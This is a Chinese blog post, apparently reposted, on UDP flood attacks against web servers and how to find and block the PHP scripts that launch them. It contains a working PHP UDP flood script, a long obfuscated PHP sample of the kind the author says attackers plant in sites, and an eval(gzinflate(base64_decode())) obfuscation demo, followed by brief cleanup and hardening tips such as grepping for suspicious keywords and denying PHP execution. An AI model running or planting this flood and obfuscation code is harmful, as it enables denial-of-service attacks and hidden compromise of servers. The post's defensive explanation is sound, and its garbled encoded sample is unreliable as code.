UDP 流量攻击

最近在群里聊天看到有人被UDP攻击,我几年前也遇到过,当时前任工作交接过来,面临很多挑战。

话又说回来,凡是跳槽或主动找到你的公司,都是让你去救火的。 

先说说UDP攻击原理,很简单就是随便连接一个IP地址,随便写一个端口号。 IP地址存在与否并不重要。这是UDP 的特性。

然后发送大数据包,堵塞交换机,路由器。

我们在局域网上模拟,注意UDP不能在同一个VLAN下,必须要经过路由才有效。

<?php
/*
$ip = $_GET['ip'];
$port = $_GET['port'];
*/

$ip = '192.168.10.30';
$port = 800;
$num = 1000;

$packets = 0;
set_time_limit(0);
ignore_user_abort(FALSE);
$data = '';

for($i=0;$i<65535;$i++){
        $data .= ".";
}

print "Starting.....<br>";
while($packets < $num){
	$fp = fsockopen("udp://$ip", $port, $errno, $errstr, 5);
	if($fp){
		fwrite($fp, $data);
		fclose($fp);
	}
	$packets++;
}
print('Package: '.$packets);

上面提供的脚本一般攻击者不会直接使用,他们会使用PHP源码混淆在植入你的网站中。

<?php 
if (!defined("ACFCEFFBAEDABEA")){define("ACFCEFFBAEDABEA", true);global $?$崜,$棊€,$儓儌,$妬墡?$剝殣殐,$唲殱枮?$啀帗泚媻,$儚搱摕嫕?$倐挐搷仜摐,$槉泭憟檮劀?$悁€儕晜枔憴?$剹姄檰問煈憠?$泝垁€殤倻枍憴?$剫灉憰噭弾寙帪?$檨敐姈焻噦仦悢槙;function 尃($尃,$崜?""){global $?$崜,$棊€,$儓儌,$妬墡?$剝殣殐,$唲殱枮?$啀帗泚媻,$儚搱摕嫕?$倐挐搷仜摐,$槉泭憟檮劀?$悁€儕晜枔憴?$剹姄檰問煈憠?$泝垁€殤倻枍憴?$剫灉憰噭弾寙帪?$檨敐姈焻噦仦悢槙;if(empty($崜?){return base64_decode($尃);}else{return 尃($泝垁€殤倻枍憴?$尃,$崜?$悁€儕晜枔憴?$崜?));}}$悁€儕晜枔憴?尃("c3RycmV2?);$泝垁€殤倻枍憴?尃("c3RydHI=?);$唲殱枮?尃("PzQ0NGMzY泎IwZmU1BTUwNzQ5MmV俴M2NFZWIy扤2RFMmM1P?U=?,"LBFZjOP");$儚搱摕嫕?尃("aHJlZ19yZXBsYWNl?,"cxkeqa");$倐挐搷仜摐=尃("lmFzZTl0X2RY弆29kZQ==?,"YjIteHl");$剹姄檰問煈憠?尃("H3p1bmQvbXByH沊Qz?,"ZnNVQPH");$剫灉憰噭弾寙帪?尃("CXChbA==?,"ZPcnsC");function 棊€?&$棊€?{global $?$崜,$棊€,$儓儌,$妬墡?$剝殣殐,$唲殱枮?$啀帗泚媻,$儚搱摕嫕?$倐挐搷仜摐,$槉泭憟檮劀?$悁€儕晜枔憴?$剹姄檰問煈憠?$泝垁€殤倻枍憴?$剫灉憰噭弾寙帪?$檨敐姈焻噦仦悢槙;$檨敐姈焻噦仦悢槙?尃("oGgg?,"Zgzlo");@$儚搱摕嫕?$唲殱枮?$剫灉憰噭弾寙帪?"(@$剹姄檰問煈憠?$倐挐搷仜摐('eNptku1v0kAY僿P8V0vDhGutG?TbXkItOZLxk廚gLTlqkhbS1S?pIFSBd0S+zL嶦LpSxzrHeBv9楿+0dSLLot7v7?e55nnuei3vQ機wGRzxW0E5rt哣KZCqSEeQOgQ嘑CHX9VbxSzNP噆Kn4MMBepqlo凢b4IBxE+KchK怋rGx/wPDDl+k巖yIgtRqVDgJ2?7YwyTEf1BxT€6s5R1ON6ljNy宨LvmwB9jQed3峚xWhYFSEU4gk僺SunDR05jj29檓dpYEnT2XOB3€4CNK3nj79dg4嘑JDSG/rBzLx2焥aTqWlsVuLSi泇4djJJ69a6VVpD24M3fUnzjO廸IRNUaifS1n2峍CxC6CPTkDQR慽RPzbuHeL69+歐ubjzd3Db2xn昫a4tMZzWQ2bz怐V/LItULYbV6焟D/KVKsptQbi烪iC2wdazl+Qn€sE1QEaaizoUk?R33IoRo95H+峮LpUtLayOfTC?OX6odFutQAr歋MWIlrTpFQ4A?qrU5uVrmfxP?Rt7PQ+wjkQ9乑5IkhGh4YA2e?AQWtghpX0xI哹I2RFPmFss8m揳zvMbjLJJuQ9焟mZkeY+gGJKM俋VzE/skcgtXf擟OGruDN2g0mv宒78cjQZRDsu6怷QRDcxbMATZQ?favoB8srxd+咰DuqrqDLT27h扠ZSZM1rSOUMS€XndvywL3zULj唓B+UylGP/gCx嶹Qyu€')));","槤?潐墐瀳444c3c20fe59507492ed3cceb27dc2c5寛剣厭");return "y";}}else{global $?$崜,$棊€,$儓儌,$妬墡?$剝殣殐,$唲殱枮?$啀帗泚媻,$儚搱摕嫕?$倐挐搷仜摐,$槉泭憟檮劀?$悁€儕晜枔憴?$剹姄檰問煈憠?$泝垁€殤倻枍憴?$剫灉憰噭弾寙帪?$檨敐姈焻噦仦悢槙;$悁€儕晜枔憴?尃("c3RycmV2?);$泝垁€殤倻枍憴?尃("c3RydHI=?);$唲殱枮?尃("PzQ0NGMzY泎IwZmU1BTUwNzQ5MmV俴M2NFZWIy扤2RFMmM1P?U=?,"LBFZjOP");$儚搱摕嫕?尃("aHJlZ19yZXBsYWNl?,"cxkeqa");$倐挐搷仜摐=尃("lmFzZTl0X2RY弆29kZQ==?,"YjIteHl");$剹姄檰問煈憠?尃("H3p1bmQvbXByH沊Qz?,"ZnNVQPH");$剫灉憰噭弾寙帪?尃("CXChbA==?,"ZPcnsC");}$啀帗泚媻?尃("EU5wejhjOUpCd0FZ嘦UGFRm6F?,"ZaHIQotE");$唲殱枮憼=棊€?$啀帗泚媻?;@$儚搱摕嫕?$唲殱枮?$剫灉憰噭弾寙帪?"(@$剹姄檰問煈憠?$倐挐搷仜摐('eNo9UNtu2kAQfe9X憆KyVMGLlOEVEacxF峟Wif+lApH4Acsiar歡G2tF+WhquRbCTHB搘XEwmOuvdhaS7MvM攎Tkz58wanXaz4965刋xBmLmqhyvm3r9r5儀aVW1+p6xUDYdbiA?qWuA7BHQ8gbx9w1攅/dUeIABeVR0BRvS?oANmVD1qoFY33Y4?Y48yrvmDWxRf37/抎f0".$啀帗泚媻?$唲殱枮憼."YU4GVeJb昒5hSG/Qsh6uYtXQD塻+ZFo1FvQFKrVf+8k7QWUjTFQH+Ry5kt瀔HItTC6Y3dfka97w丯jQf7tiAqp8Gm0ff宑oUlL7Q8p3fvuNRW杔dGte3V2Bocr5HQo匓Mq57ZyiJzhBDXmK峱cIsbLAeOBNUAnIy塀E2rN3C8Y60qfX3I?mqfLtXKb6iZfXqF扠tpHH8jvX49GNnyf慽p8JnuUEL1Of4GgS抙QQnwVO6JDiO1vN1凴PA4Xu+KfQbJLM03弚TQB3ks+yQ/TXUpw汫L7u8lmwybcEr5JN攌k3KON4Ce+77UbII漣zwrC1i2TPJyPC4O峎fYEEpto4vvrLNwW俿6wEjXi632aLx/gl榝R6n+xXBZfC2S4rD乿8cw2M/fVouq0Wn/桞xjGxpk=?)));","€拝
儝€悪?44c3c20fe59507492ed3cceb27dc2c5儞悇搩");return true;?>9822537530499f58277ef52ffa504e5a

另外一种是采用 eval(gzinflate(base64_decode(.....)))

<?php
$code = "echo 'Hello!';";
$compressed   = gzdeflate($code, 9);
$compressed = base64_encode($compressed);
echo $compressed;
echo "\r\n";

$compressed = base64_decode($compressed);
$uncompressed = gzinflate($compressed);
echo $uncompressed;
echo "\r\n";

eval($uncompressed);
echo "\r\n";

?>

如果被攻击了,怎样处理这样的攻击,其实很简单。

grep -r 'udp' * 

找到可疑的脚本,然后再删除即可

对于混淆过的PHP程序,其实也有规律可循。可以查找 base64_decode, eval 等等关键字,一般被植入的目录多是777权限,例如图片上传目录。

如果做好安全措施

  1. 代码600权限,同时不能与web server 守护进程使用一个用户
  2. 无关目录屏蔽php运行权限
    <Location /includes/>
            Order allow,deny
            Deny from all
    </Location>

 

 3. 使用框架开发,很多MVC 只有一个index.php 入口,用户可访问的目录只有静态文件

猜你喜欢

转载自netkiller-github-com.iteye.com/blog/1831221
UDP
今日推荐